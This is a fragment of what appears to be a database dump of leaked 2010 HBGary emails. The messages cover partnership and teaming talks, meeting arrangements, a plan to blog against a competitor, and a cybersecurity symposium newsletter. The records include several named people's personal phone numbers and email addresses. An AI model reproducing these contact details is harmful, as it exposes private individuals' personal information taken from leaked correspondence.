<penny@hbgary.com>','/aaron@hbgary.com/new/1297005285.M562418P14101Q2122.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','blog posting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhere are we on the blog posting of the &#8220;you are compromised&#8221;\r\nletters from consulting companies?&nbsp; Also, how do we take a swipe at Mandiant\r\nwith the &#8220;don&#8217;t be fooled by the hype, APT&#8221;?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13834,'aaron_hbgary_com/13834.html'),(7268,'2010-06-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005285.M820401P14101Q2123.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Google and SecDev','He can wrap it into the purchase price, that is what healthcheck and the\r\nCLiP pricing are for.  See attached.  This isnt\' for him, it\'s for you (see\r\npage 3)\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Saturday, June 05, 2010 4:40 AM\r\nTo: Penny Leavy\r\nSubject: Google and SecDev\r\n\r\nHey Penny,\r\n\r\nDo you have a contact for Google?\r\n\r\nSecond.  I had a talk with Rafal (CEO of SecDev) yesterday and this is the\r\ngist of what we discussed for  a partnership.\r\n\r\n1. Developing/Integrating with Palantir - I told Rafal that this type of\r\nactivity was fine to do under the evaluation copy.  Any integrated product\r\nsales would require a full license purchase.\r\n2. Marketing Channel Partner - I told him I believe HBGary is interested in\r\nhaving SecDev market and sell HBGary products.\r\n3. Incident Response - This was the area that I told Rafal we not as clear\r\ncut and we needed to work some things out.  The term loss leader is a little\r\nmisleading.  What Rafal wants to do is for the first 8-12 months wrap a cost\r\nof using the product into specific engagements.  He is running on a tight\r\nbudget and doesn\'t want or have it to purchase a license outright, but wants\r\nto build case studies and data on proven success stories.  So its not a loss\r\nleader, but not a full purchase either.  Thoughts?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',755,'aaron_hbgary_com/755.html'),(7269,'2010-06-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005286.M273854P14101Q2125.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Meeting','FYI,I am having lunch with NGs new chief cyber strategist on Monday.AaronBegin forwarded message:From: Paul Nemirovsky &lt;pauln@jdn-int.com&gt;Date: June 10, 2010 3:26:03 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: MeetingReply-To: pauln@jdn-int.comAaron,\r\n&nbsp;\r\n&nbsp;\r\nWe could meet at 11:15 am at this restaurant Monday.&nbsp;&nbsp;&nbsp; Please let me know if it works for you.\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n&nbsp;\r\n--- On Wed, 6/9/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: MeetingTo: pauln@jdn-int.comDate: Wednesday, June 9, 2010, 5:38 PM\r\nHow about: \r\n\r\n\r\n\r\nGunning\'s&nbsp;Seafood&nbsp;Restaurant?\r\n&nbsp;64 reviews&nbsp;-&nbsp;more info&nbsp;» \r\n\r\n\r\n\r\n\r\n\r\n7304 Parkway Dr\r\nHanover, Maryland 21076\r\n(410) 712-9404get=_blank rel=nofollow&gt;gunningsonline.com?\r\n\r\n\r\n\r\n\r\n\r\nI had lunch about 4 weeks ago with Tom Conroy, very good Crab Cakes. &nbsp;Is 11am ok?\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Jun 9, 2010, at 4:23 PM, Paul Nemirovsky wrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\nAaron,\r\n&nbsp;\r\nWe could meet anywhere it works for you.&nbsp; I do not know this area well.&nbsp; There is Hellas Restaurant in Millersville, if you like it.\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n___________________________________________________________\r\n&nbsp;--- On Tue, 6/8/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: MeetingTo: \"pauln@jdn-int.com\" &lt;pauln@jdn-int.com&gt;Date: Tuesday, June 8, 2010, 5:08 PM\r\n\r\nPaul,\r\n\r\nThat sounds good. &nbsp;I have a 1pm in Columbia at the saic bldg. &nbsp;Do u know a good place?\r\n\r\nAaronFrom my iPhone\r\nOn Jun 8, 2010, at 4:53 PM, Paul Nemirovsky &lt;pauln@jdn-int.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\n&nbsp;\r\nThank you for the note.&nbsp; Monday, 6/14 is fine.&nbsp; Would you like to get together for lunch in the area?\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul&nbsp; (703-622-6115 (m))--- On Tue, 6/8/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: MeetingTo: \"Dr. Paul Nemirovsky\" &lt;pauln@jdn-int.com&gt;Date: Tuesday, June 8, 2010, 4:44 PM\r\n\r\n\r\n\r\n\r\n\r\nLinkedInAaron Barr has sent you a message. \r\nDate: 6/08/2010 \r\nSubject: Meeting \r\nHi Paul, Do you have some time to meet on Monday? I have another meeting in the early afternoon in your area. Aaron \r\nView/reply to this message \r\nDon\'t want to receive e-mail notifications? Adjust your message settings. \r\n© 2010, LinkedIn Corporation\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16374,'aaron_hbgary_com/16374.html'),(7270,'2010-06-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005286.M30172P14101Q2124.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Google and SecDev','ok tks I will look it over.  Do you have a google contact?  I need to contact them about our COIN recompete.\r\n\r\nI am feeling very confident about that recompete.  Conversation with Akamai and Apple are going very well for teaming.  PointAbout is going to sign.  If I can get Google on the team I don\'t think anyone will be able to tell a better story.  \r\n\r\nI just got off the phone with GD regarding the FBI ESOC.  We should find out about award \"shortly\".  The oral presentations went very well.  The FBI only had 1 day of orals, which means besides the incumbant, Lockheed, and GD there is at most only enough time in the day for one other presentation, so odds of winning are good, we will no \"shortly\".  I also talked to GD about using their capabilities for incident response if we get some bites on our efforts starting next week.\r\n\r\nAs to the new mandiant position, I am writing a piece at aaronbarr.wordpress.org called, \"The Cyber Pendulum Swings\", its my first post to a new blog that I will eventually integrate into hbgaryfederal.com when Mark finishes it.\r\n\r\nAs to the \"you are compromised letters\"  can you refresh my memory.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Jun 10, 2010, at 4:20 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> He can wrap it into the purchase price, that is what healthcheck and the\r\n> CLiP pricing are for.  See attached.  This isnt\' for him, it\'s for you (see\r\n> page 3)\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Saturday, June 05, 2010 4:40 AM\r\n> To: Penny Leavy\r\n> Subject: Google and SecDev\r\n> \r\n> Hey Penny,\r\n> \r\n> Do you have a contact for Google?\r\n> \r\n> Second.  I had a talk with Rafal (CEO of SecDev) yesterday and this is the\r\n> gist of what we discussed for  a partnership.\r\n> \r\n> 1. Developing/Integrating with Palantir - I told Rafal that this type of\r\n> activity was fine to do under the evaluation copy.  Any integrated product\r\n> sales would require a full license purchase.\r\n> 2. Marketing Channel Partner - I told him I believe HBGary is interested in\r\n> having SecDev market and sell HBGary products.\r\n> 3. Incident Response - This was the area that I told Rafal we not as clear\r\n> cut and we needed to work some things out.  The term loss leader is a little\r\n> misleading.  What Rafal wants to do is for the first 8-12 months wrap a cost\r\n> of using the product into specific engagements.  He is running on a tight\r\n> budget and doesn\'t want or have it to purchase a license outright, but wants\r\n> to build case studies and data on proven success stories.  So its not a loss\r\n> leader, but not a full purchase either.  Thoughts?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13299,'aaron_hbgary_com/13299.html'),(7271,'2010-06-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005286.M494790P14101Q2126.eml','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>,\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>,,,','Re: Technical Strategy','I had a very good conversation with Apple today on the phone.  I am going to meet with them in person tomorrow.  They are interested in being on the team.\r\n\r\nI am going to do a little research but the more I think about this model I think we also need to look for a smaller social networking company, maybe like a foursquare and also a social gaming company maybe like zynga, gameloft, etc.\r\n\r\nJust a thought.\r\n\r\nAaron\r\n\r\nOn Jun 10, 2010, at 8:26 AM, Pisani, Albert A. (TASC) wrote:\r\n\r\n> Aaron:\r\n> I like this approach.\r\n> We need to get together in a room and kick this around.\r\n> Has a session been scheduled?\r\n> \r\n> AL\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, June 09, 2010 10:20 PM\r\n> To: Clair, Chris (TASC); Pisani, Albert A. (TASC); Heider, Raymond A\r\n> (TASC); Lovegrove, John (TASC)\r\n> Subject: Technical Strategy\r\n> \r\n> All,\r\n> \r\n> After our conversation today and thinking about a possible framework I\r\n> see a very powerful offering assuming we can get these partners.  The\r\n> below team represents in my opinion a winning team.  Framework is\r\n> overall PMO that coordinates trusted US partners to exercise commercial\r\n> relationships to execute requirements.  Some team mates are silent\r\n> partners for consulting and lead relationships.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14017,'aaron_hbgary_com/14017.html'),(7272,'2010-06-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005286.M787743P14101Q2127.eml','\"Kemp Andy\" <akemp@apple.com>','Meeting','Hey Andy,\r\n\r\nGood to talk to you today.\r\n\r\nMy last morning meeting in Chantilly ends at 12:30 and next meeting is a webex at 2pm, so I could head to your place, be there around 1pm?\r\n\r\nLet me know if that works.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3793,'aaron_hbgary_com/3793.html'),(7273,'2010-06-10','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297005287.M352049P14101Q2129.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Technical Strategy','John:\r\nI have it as 10:00 on my calendar?\r\nAL\r\n\r\n-----Original Message-----\r\nFrom: Lovegrove, John (TASC) \r\nSent: Thursday, June 10, 2010 4:58 PM\r\nTo: Aaron Barr; Pisani, Albert A. (TASC)\r\nCc: Clair, Chris (TASC); Heider, Raymond A (TASC); Harris, Irene G\r\n(TASC)\r\nSubject: RE: Technical Strategy\r\n\r\nI know a couple of small gaming companies at MIT that might fit the\r\nbill.\r\n\r\nAl, we are meeting here tomorrow at 11:30 if you want to attend.\r\n\r\nJohn Lovegrove\r\nDirector\r\nOffice: (703) 449-3812\r\nCell: (571) 294-5154\r\n\r\n\r\n\r\nTASC INTERNAL DISTRIBUTION ONLY\r\nThis e-mail, including attachments, is intended for the exclusive use of\r\nthe person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is\r\nnot the intended recipient or his or her authorized agent, the reader is\r\nhereby notified that any dissemination, distribution or copying of this\r\ne-mail is prohibited. If you think that you have received this e-mail in\r\nerror, please advise the sender by reply e-mail of the error and then\r\ndelete this e-mail immediately.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, June 10, 2010 4:51 PM\r\nTo: Pisani, Albert A. (TASC)\r\nCc: Clair, Chris (TASC); Heider, Raymond A (TASC); Lovegrove, John\r\n(TASC); Harris, Irene G (TASC)\r\nSubject: Re: Technical Strategy\r\n\r\nI had a very good conversation with Apple today on the phone.  I am\r\ngoing to meet with them in person tomorrow.  They are interested in\r\nbeing on the team.\r\n\r\nI am going to do a little research but the more I think about this model\r\nI think we also need to look for a smaller social networking company,\r\nmaybe like a foursquare and also a social gaming company maybe like\r\nzynga, gameloft, etc.\r\n\r\nJust a thought.\r\n\r\nAaron\r\n\r\nOn Jun 10, 2010, at 8:26 AM, Pisani, Albert A. (TASC) wrote:\r\n\r\n> Aaron:\r\n> I like this approach.\r\n> We need to get together in a room and kick this around.\r\n> Has a session been scheduled?\r\n> \r\n> AL\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, June 09, 2010 10:20 PM\r\n> To: Clair, Chris (TASC); Pisani, Albert A. (TASC); Heider, Raymond A\r\n> (TASC); Lovegrove, John (TASC)\r\n> Subject: Technical Strategy\r\n> \r\n> All,\r\n> \r\n> After our conversation today and thinking about a possible framework I\r\n> see a very powerful offering assuming we can get these partners.  The\r\n> below team represents in my opinion a winning team.  Framework is\r\n> overall PMO that coordinates trusted US partners to exercise\r\ncommercial\r\n> relationships to execute requirements.  Some team mates are silent\r\n> partners for consulting and lead relationships.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13217,'aaron_hbgary_com/13217.html'),(7274,'2010-06-10','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297005287.M5434P14101Q2128.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>,\"Aaron Barr\" <aaron@hbgary.com>,\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>,','RE: Technical Strategy','I know a couple of small gaming companies at MIT that might fit the\r\nbill.\r\n\r\nAl, we are meeting here tomorrow at 11:30 if you want to attend.\r\n\r\nJohn Lovegrove\r\nDirector\r\nOffice: (703) 449-3812\r\nCell: (571) 294-5154\r\n\r\n\r\n\r\nTASC INTERNAL DISTRIBUTION ONLY\r\nThis e-mail, including attachments, is intended for the exclusive use of\r\nthe person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is\r\nnot the intended recipient or his or her authorized agent, the reader is\r\nhereby notified that any dissemination, distribution or copying of this\r\ne-mail is prohibited. If you think that you have received this e-mail in\r\nerror, please advise the sender by reply e-mail of the error and then\r\ndelete this e-mail immediately.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, June 10, 2010 4:51 PM\r\nTo: Pisani, Albert A. (TASC)\r\nCc: Clair, Chris (TASC); Heider, Raymond A (TASC); Lovegrove, John\r\n(TASC); Harris, Irene G (TASC)\r\nSubject: Re: Technical Strategy\r\n\r\nI had a very good conversation with Apple today on the phone.  I am\r\ngoing to meet with them in person tomorrow.  They are interested in\r\nbeing on the team.\r\n\r\nI am going to do a little research but the more I think about this model\r\nI think we also need to look for a smaller social networking company,\r\nmaybe like a foursquare and also a social gaming company maybe like\r\nzynga, gameloft, etc.\r\n\r\nJust a thought.\r\n\r\nAaron\r\n\r\nOn Jun 10, 2010, at 8:26 AM, Pisani, Albert A. (TASC) wrote:\r\n\r\n> Aaron:\r\n> I like this approach.\r\n> We need to get together in a room and kick this around.\r\n> Has a session been scheduled?\r\n> \r\n> AL\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, June 09, 2010 10:20 PM\r\n> To: Clair, Chris (TASC); Pisani, Albert A. (TASC); Heider, Raymond A\r\n> (TASC); Lovegrove, John (TASC)\r\n> Subject: Technical Strategy\r\n> \r\n> All,\r\n> \r\n> After our conversation today and thinking about a possible framework I\r\n> see a very powerful offering assuming we can get these partners.  The\r\n> below team represents in my opinion a winning team.  Framework is\r\n> overall PMO that coordinates trusted US partners to exercise\r\ncommercial\r\n> relationships to execute requirements.  Some team mates are silent\r\n> partners for consulting and lead relationships.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13018,'aaron_hbgary_com/13018.html'),(7275,'2010-06-10','\"AFCEA DC Cybersecurity Symposium Team\" <events@afceadc.org>','/aaron@hbgary.com/new/1297005287.M720901P14101Q2130.eml','aaron@hbgary.com','Program for the 2nd Annual Cybersecurity Symposium - July 8, 2010 - Hilton Washington','\r\n\r\n\r\nAFCEA DC Monthly Luncheon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n        Pics \r\n              from the Spring Leadership Awards Gala &amp; Mil Awardees\r\n      \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          AFCEA \r\n            DC Home\r\n          News\r\n          Calendar\r\n          About \r\n            AFCEA DC\r\n        \r\n      \r\n  \r\n\r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          \r\n               \r\n                &nbsp;\r\n                2nd Annual AFCEA DC\r\n                    Cybersecurity Symposium\r\n                    USCYBERCOM\'s Role in Protecting .mil, .gov \r\n                    &amp; .com\r\n                  Thursday, July 8, 2010\r\n                    8am-5pm - Hilton Washington, Washington, \r\n                    DC\r\n                    www.afceadc.org/cyber \r\n                  \r\n                  With Invited KEYNOTES:\r\n                  \r\n                     Mr. Howard A. Schmidt, \r\n                      White House Cybersecurity Coordinator (confirmed)\r\n                    LtGen George Flynn, USMC \r\n                      - Commander, Marine Corps Forces Cyberspace Command (MARFORCYBER) \r\n                      (confirmed)\r\n                     Gen James Cartwright, USMC, \r\n                      Vice Chairman, Joint Chiefs of Staff (invited)\r\n                    Maj. Gen. Suzanne M. “Zan” \r\n                      Vautrinot, USAF - Director of Plans and \r\n                      Policy (J5) - U.S. Cyber Command (USCYBERCOM) \r\n                      (confirmed)\r\n                    USNORTHCOM &amp; DHS NPPD \r\n                      - Huntley-Brinkley  (invited)\r\n                  \r\n                  Working Program\r\n                  The 2nd Annual AFCEA DC Cybersecurity Symposium will focus \r\n                    on the newly confirmed U.S. Cyber Command, and its partners, \r\n                    its relationships, its dependencies, its policies, and its \r\n                    reach. CYBERCOM will need to interface with the five Military \r\n                    Services, the Unified Commands/COCOMs, DHS, other Civilian \r\n                    Agencies, Industry, and the list goes on. Conference attendees \r\n                    will be present as discussions of these interrelationships \r\n                    unfold and the framework for collaboration begins to emerge.\r\n                  \r\n                    Opening Keynote: LTG James E. “Hoss” Cartwright, \r\n                      USMC - Vice Chairman of the Joint Chiefs of Staff \r\n                      (invited)\r\n                    Closing Keynote: Mr. Howard A. Schmidt, \r\n                      White House Cybersecurity Coordinator\r\n                    Reaction to Cyber Shockwave - Enter DoD &amp; \r\n                      USCYBERCOM\r\n                      Panel on .Mil to .Gov Relationships \r\n                      \r\n                        Director of Operations (J-3), U.S. \r\n                          Cyber Command (USCYBERCOM) (invited)\r\n                        Deputy Assistant Secretary for Cyber Security \r\n                          &amp; Communications (CS&amp;C), U.S. Department \r\n                          of Homeland Security (DHS)\r\n                        Assistant Secretary for Electricity Delivery \r\n                          &amp; Energy Reliability, U.S. Dept of Energy \r\n                          (invited)\r\n                        Chair, National Security Telecommunications \r\n                          Advisory Committee (NSTAC)\r\n                        Deputy Supreme Allied Commander Transformation \r\n                          (DSACT) (Cyber Czar), NATO, at ACT (invited)\r\n                        Moderator: Gen. Ronald E. Keys (USAF, Ret) \r\n                          - former Commander, Air Combat Command (ACC), USAF, \r\n                          &amp; currently President, RK Solution Enterprises\r\n                      \r\n                    \r\n                    Public Private Partnerships Framework\r\n                      Panel on .Mil/.Gov to .Com Relationships \r\n                      \r\n                        Assistant Secretary for Cybersecurity and \r\n                          Communications (CS&amp;C), U.S. Department \r\n                          of Homeland Security (DHS) (invited)\r\n                        Deputy Assistant Secretary of Defense for \r\n                          Cyber Policy, U.S. Department of Defense (DoD) \r\n                          (invited)\r\n                        Senior Advisor at Harvard Kennedy School’s \r\n                          DoD MINERVA Project, &amp; President, Hathaway \r\n                          Global Strategies (invited)\r\n                        Senior Advisor, Cyber Operations &amp; Transformation, \r\n                          Deputy Chief of Staff for Air, Space &amp; Information \r\n                          Operations, Plans &amp; Requirements (A3/5), U.S. Air \r\n                          Force\r\n                        President, Intelligence and National \r\n                          Security Alliance (INSA) (invited)\r\n                        Chairman, Cross-Sector Cybersecurity \r\n                          Working Group (CSCSWG)\r\n                      \r\n                    \r\n                    Luncheon Keynotes\r\n                      CYBERCOM &amp; DHS – Huntley-Brinkley style  \r\n                      \r\n                        Commander, U.S. Northern Command \r\n                          (USNORTHCOM) (invited)\r\n                        Hon. Rand Beers - Undersecretary \r\n                          for National Protection &amp; Programs Directorate, \r\n                          U.S. Department of Homeland Security (DHS) (invited)\r\n                      \r\n                    \r\n                    Standing Up USCYBERCOM\r\n                      Block on .Mil to .Mil Relationships  \r\n                      \r\n                        U.S. Cyber Command (USCYBERCOM) - Director of Plans \r\n                          and Policy (J5)\r\n                        Army Forces Cyber Command (ARFORCYBER) - Director, \r\n                          Army Cyberspace Task Force &amp; Chief Cyber Officer \r\n                          for the CIO/G-6, U.S. Army (invited)\r\n                        24th Air Force - Commander (invited)\r\n                        U.S. Fleet Cyber Command/U.S. Tenth Fleet - Commander \r\n                          (invited)\r\n                        Marine Corps Forces Cyberspace Command (MARFORCYBER) \r\n                          - Commander\r\n                        USCG Cyber Command - Director\r\n                        COCOMs - PACOM &amp; EUCOM (invited)\r\n                      \r\n                    \r\n                  \r\n                  Sign-Up \r\n                    to Sponsor the Cybersecurity Symposium\r\n                  Register \r\n                    to Attend the Cybersecurity Symposium\r\n                    \r\n                  For more Information Contact:\r\n                  \r\n                     \r\n                       AFCEA DC/CAPLEAD Staff, events@afceadc.org, tel: 202-701-5808 \r\n                      \r\n                    \r\n                  \r\n              \r\n              \r\n                &nbsp;\r\n                &nbsp;\r\n              \r\n            \r\n            \r\n            \r\n          \r\n          \r\n            \r\n              Conference Links: \r\n            \r\n            \r\n              \r\n            \r\n            \r\n              Event \r\n                    Home Page \r\n                  Working \r\n                    Program\r\n                  Sponsorships\r\n                                  Individual\r\n                  Registration\r\nVenue\r\n                  &nbsp;\r\n                \r\n            \r\n          \r\n            \r\n            \r\n              \r\n                Diamond Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n\r\n\r\n\r\n  \r\n  \r\n  \r\n\r\n\r\n  \r\n  \r\n  \r\n\r\n  \r\n  \r\n  \r\n\r\n  \r\n  \r\n\r\n\r\n\r\n              \r\n            \r\n            \r\n            \r\n              \r\n                Premiere Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n  \r\n  \r\n  \r\n  \r\n  \r\n    &nbsp;\r\n  \r\n  \r\n\r\n              \r\n            \r\n            \r\n            \r\n              \r\n                Platinum Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                    \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        &nbsp;\r\n                      \r\n                    \r\n                \r\n              \r\n            \r\n            \r\n            \r\n              \r\n                Gold Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                    \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                    \r\n                \r\n              \r\n          \r\n          \r\n          \r\n          \r\n               \r\n                Small Business Silver Sponsors: \r\n              \r\n               \r\n                \r\n              \r\n               \r\n                \r\n                    \r\n                       \r\n                         \r\n                      \r\n                       \r\n                         \r\n                      \r\n                       \r\n                        \r\n                      \r\n                       \r\n                        \r\n                      \r\n                       \r\n                        \r\n                      \r\n                       \r\n                        \r\n                      \r\n                       \r\n                        \r\n                      \r\n                    \r\n                  \r\n              \r\n              \r\n                &nbsp;\r\n                  Key Sponsorship Slots still Available!\r\n              \r\n            \r\n        \r\n      \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n             Armed Forces Communications and Electronics Association \r\n              of Washington, D.C.\r\n              1220 L St., NW, Suite 100-407, Washington, D.C. 20005-4018\r\n              info@afceadc.org&nbsp;&nbsp; \r\n              |&nbsp;&nbsp; tel: 202-701-5808&nbsp;&nbsp; |&nbsp;&nbsp; fax: 202-330-5012\r\n            \r\n            \r\n        \r\n        \r\n          &nbsp;\r\n            AFCEA NOVA Management by an amazing team of Volunteers, \r\n              supported by : CAPLEAD | info@caplead.com\r\n            \r\n        \r\n      \r\n  \r\n\r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',11945,'aaron_hbgary_com/11945.html'),(7276,'2010-06-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005287.M966655P14101Q2131.eml','\"Charlie Scuilla\" <charlie@iomaxis.com>,\"Charlie Scuilla\" <charlie@iomaxis.com>','RE: Potential Teaming?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCharlie &#8211; I sent an email to Aaron Barr and to you, but the\r\nemail I had for you bounced.&nbsp; I had also given him your phone number.&nbsp; Aaron&#8217;s\r\nphone is 719-510-8478.&nbsp; Aaron is located in McLean, VA.\r\n\r\n&nbsp;\r\n\r\nAaron &#8211; See if you can hook up with Charlie.&nbsp; His phone is 703-869-9319\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Charlie Scuilla\r\n[mailto:charlie@iomaxis.com] \r\nSent: Thursday, June 10, 2010 12:14 PM\r\nTo: Bob Slapnik\r\nSubject: Potential Teaming?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nbob:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI thought that you were going to introduce me to the HBGary\r\nfolks that handle your Fed Biz?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI need to talk to them soon.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThank you,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCharlie\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 3, 2010, at 8:36 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThank you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Charlie\r\nS [mailto:cscuilla@verizon.net]&nbsp;\r\nSent:&nbsp;Wednesday, March 03,\r\n2010 7:55 AM\r\nTo:&nbsp;Charlie Scuilla\r\nSubject:&nbsp;Recent Release\r\nfrom White House\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo keep you up to the current\r\nevents:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo\r\nvirus found in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/02/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.829 / Virus Database: 271.1.1/2929 - Release Date: 